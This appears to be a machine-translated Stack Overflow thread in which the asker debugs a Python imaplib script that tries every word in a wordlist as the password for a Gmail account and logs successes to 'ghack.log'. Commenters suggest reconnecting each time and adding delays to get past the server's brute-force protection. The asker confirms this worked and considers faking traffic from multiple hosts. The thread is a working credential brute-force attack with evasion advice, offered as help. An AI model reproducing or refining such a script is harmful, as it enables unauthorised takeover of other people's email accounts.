Python imaplib-不接受正确的密码

Python imaplib-不接受正确的密码,python,gmail,imaplib,Python,Gmail,Imaplib,我有一个文本文件中的单词列表。我正在尝试对该文件中的单词运行imap.login函数。该列表中的一个单词是电子邮件ID的密码。脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“OK” 以下是脚本: import imaplib conn = imaplib.IMAP4_SSL("imap.gmail.com", 993) email_id='someone__blahh@gmail.com' passwrds = open('/Users/rdj/scripts/words

我有一个文本文件中的单词列表。我正在尝试对该文件中的单词运行imap.login函数。该列表中的一个单词是电子邮件ID的密码。脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“OK”

以下是脚本:

import imaplib

conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)   
email_id='someone__blahh@gmail.com'

passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
        i = i.rstrip()
        passwrd = i
        if len(passwrd) > 5:
                fle = open("/Users/rdj/scripts/ghack.log", "a")
                try:
                        if conn.login(email_id, passwrd):
                                fle.write("%s ==> EUREKA\n" %(passwrd))
                                break
                except:
                        fle.write("%s --> NO LUCK\n" %(passwrd))

可能在多次登录失败后,IMAP服务器拒绝您登录,即使密码正确?有一件事需要尝试,那就是每次都重新启动连接。我也试过了。我没有在循环外建立一个由
conn
表示的连接,而是尝试在
try
语句之后运行它。这也不管用。脚本一运行完,我就用正确的密码手动执行
try
语句中的脚本,并返回预期结果。又是一个黑暗中的镜头。尝试添加时间。在每次尝试之间睡眠(1)。我仍然觉得IMAP服务器中可能有一些安全机制来防止像这样的暴力攻击。谢谢你的建议。成功了。如果我使用这个选项,我的脚本将非常低效。我将探索其他选项,并将在这里更新,如果有什么工作。也许,我得让它看起来像是来自多个主机的流量。